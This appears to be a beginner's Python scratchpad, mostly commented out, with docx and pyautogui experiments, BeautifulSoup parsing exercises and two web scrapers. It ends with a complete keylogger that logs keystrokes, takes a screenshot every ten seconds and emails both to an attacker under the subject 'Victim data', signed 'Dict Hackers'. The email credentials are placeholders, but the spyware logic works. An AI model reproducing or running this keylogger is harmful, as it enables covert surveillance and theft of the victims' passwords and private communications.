# "Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsum veniam ducimus obcaecati debitis, sit reprehenderit quisquam. Dolorem obcaecati nobis architecto sit amet nesciunt repudiandae. Accusamus porro non aut dolor dolores."
# )
# paragraph = doc.add_paragraph("Lorem ipsum ")
# imp = paragraph.add_run("dolor sit amet.")
# imp.bold = True
# doc.save("test.docx")
import pyautogui
from pywinauto import Application
from time import sleep
# app = Application(backend="uia").start("mspaint.exe")
# sleep(3)
# distance = 200
# while distance > 0:
# pyautogui.dragRel(distance, 0, duration=0.5)
# distance = distance - 5
# pyautogui.dragRel(0, distance, duration=0.5)
# pyautogui.dragRel(-distance, 0, duration=0.5)
# distance = distance - 5
# pyautogui.dragRel(0, -distance, duration=0.5)
# pyautogui.screenshot("shot.png")
Scratchpad #15
# # # # from bs4 import BeautifulSoup
# # # # data = """
# # # # <html>
# # # # <head>
# # # # <title>My Application</title>
# # # # </head>
# # # # <body>
# # # # <h1>Hello World</h1>
# # # # <h2>Hello World</h2>
# # # # <hr />
# # # # <img src="./shot.png" width="300px" alt="Some image" />
# # # # <p class="hello world">
# # # # <b>Lorem ipsum dolor</b> sit amet consectetur adipisicing elit. Eveniet
# # # # assumenda corporis, magni ratione natus doloremque iusto architecto
# # # # <i>voluptatibus eaque</i> nostrum ipsam, et exercitationem quidem
# # # # blanditiis repellendus eum quaerat vitae eius?
# # # # </p>
# # # # <a href="https://google.com">Go to Google</a>
# # # # <h2>Hello again</h2>
# # # # <ul class="my-list">
# # # # <li>
# # # # 1. Lorem ipsum dolor sit, amet consectetur adipisicing elit. Iure, et!
# # # # </li>
# # # # <li class="hello">
# # # # 2. Lorem ipsum dolor sit, amet consectetur adipisicing elit. Iure, et!
# # # # </li>
# # # # <li class="world new-item">
# # # # 3. Lorem ipsum dolor sit, amet consectetur adipisicing elit. Iure, et!
# # # # </li>
# # # # <li>
# # # # 4. Lorem ipsum dolor sit, amet consectetur adipisicing elit. Iure, et!
# # # # </li>
# # # # </ul>
# # # # <p id="special">
# # # # Lorem ipsum dolor sit amet consectetur adipisicing elit. Nam odio
# # # # asperiores aut deserunt laboriosam non voluptatem inventore et odit,
# # # # consequuntur maiores dolorum nobis nulla. Velit sed odit ut, quaerat
# # # # praesentium quos a eos facere est possimus quisquam autem earum corrupti
# # # # dolores ex reprehenderit rerum? Laboriosam culpa modi dignissimos
# # # # perspiciatis minus minima. Quisquam assumenda sapiente alias numquam
# # # # saepe, consequatur, asperiores iusto error accusamus laudantium
# # # # reprehenderit voluptatum adipisci possimus. Totam laudantium commodi rerum
# # # # ullam repellendus porro numquam nesciunt asperiores ea, aperiam
# # # # voluptatibus possimus. Quasi dolore pariatur, minus doloribus aliquid nemo
# # # # error. Eveniet officia, quod dolores expedita sint ullam delectus ducimus
# # # # voluptatem exercitationem?
# # # # </p>
# # # # </body>
# # # # </html>
# # # # """
# # # # soup = BeautifulSoup(data, "html.parser")
# # # # # print(soup.body)
# # # # # print(soup.body.h1)
# # # # # print(soup.find("h1"))
# # # # # print(soup.find("h2"))
# # # # # print(soup.find("li"))
# # # # # print(soup.find_all("li"))
# # # # # print(type(soup.find("li")))
# # # # # print(soup.find(id="special"))
# # # # # print(soup.find_all(class_="hello"))
# # # # # li = soup.find(class_="new-item")
# # # # # print(li.find_next_sibling())
# # # # # print(li.find_previous_sibling().find_previous_sibling())
# # # # # print(li.find_parent().find_parent())
# # # # # print(soup.find("img")["src"])
# # # # # print(soup.find("a")["href"])
# # # # # print(soup.find(id="special").get_text())
# # # import requests
# # # from bs4 import BeautifulSoup
# # # from csv import writer
# # # response = requests.get("https://arstechnica.com/")
# # # soup = BeautifulSoup(response.text, "html.parser")
# # # articles = soup.find_all(class_="article")
# # # with open("articles.csv", "w", newline="") as file:
# # # csv_writer = writer(file)
# # # csv_writer.writerow(["Title", "Excerpt", "Author", "Date", "URL"])
# # # for article in articles:
# # # title = article.find("h2").get_text()
# # # excerpt = article.find(class_="excerpt").get_text()
# # # author = article.find("span").get_text()
# # # date = article.find("time").get_text()
# # # url = article.find("a")["href"]
# # # csv_writer.writerow([title, excerpt, author, date, url])
# # import requests
# # from bs4 import BeautifulSoup
# # from csv import DictWriter
# # all_quotes = []
# # base_url = "http://quotes.toscrape.com"
# # url = "/page/1/"
# # while url:
# # response = requests.get(f"{base_url}{url}")
# # print(f"Now scraping {base_url}{url}")
# # soup = BeautifulSoup(response.text, "html.parser")
# # quotes = soup.find_all(class_="quote")
# # for quote in quotes:
# # content = quote.find(class_="text").get_text()
# # author = quote.find(class_="author").get_text()
# # all_quotes.append({"content": content, "author": author})
# # next_btn = soup.find(class_="next")
# # if next_btn:
# # url = next_btn.find("a")["href"]
# # else:
# # url = None
# # with open("quotes.csv", "w", newline="") as file:
# # header = ["content", "author"]
# # csv_writer = DictWriter(file, fieldnames=header)
# # csv_writer.writeheader()
# # for quote in all_quotes:
# # csv_writer.writerow(quote)
# from pynput.keyboard import Key, Listener
# import pyautogui
# import yagmail
# from datetime import datetime
# from time import sleep
# count = 0
# keys = []
# try:
# def on_press(key):
# global count, keys
# keys.append(key)
# count += 1
# if count >= 10:
# write_file(keys)
# keys = []
# def write_file(keys):
# with open("log.txt", "a") as file:
# for key in keys:
# k = str(key).replace("'", "")
# if k.find("space") > 0:
# file.write(str(" "))
# elif k.find("cap_lock") > 0:
# file.write(str("<CAPS_LOCK>"))
# elif k.find("enter") > 0:
# file.write(str("\n"))
# elif k.find("Key") == -1:
# file.write(k)
# def take_screenshot():
# screen = pyautogui.screenshot()
# screen.save("screen.png")
# def send_mail():
# receiver_email = "EMAIL"
# subject = f"Victim data: {datetime.now().strftime('%d-%m-%Y %H:%M:%S')}"
# yag = yagmail.SMTP("EMAIL", "PASSWORD")
# contents = [
# "<b><font color='red' size='10'>Your victim data - Dict Hackers</b>",
# "./screen.png",
# "./log.txt",
# ]
# yag.send(receiver_email, subject, contents)
# def on_release(key):
# if key == Key.esc:
# return False
# with Listener(on_press=on_press, on_release=on_release) as listener:
# while True:
# sleep(10)
# take_screenshot()
# send_mail()
# listener.join()
# except KeyboardInterrupt:
# print("Program closed")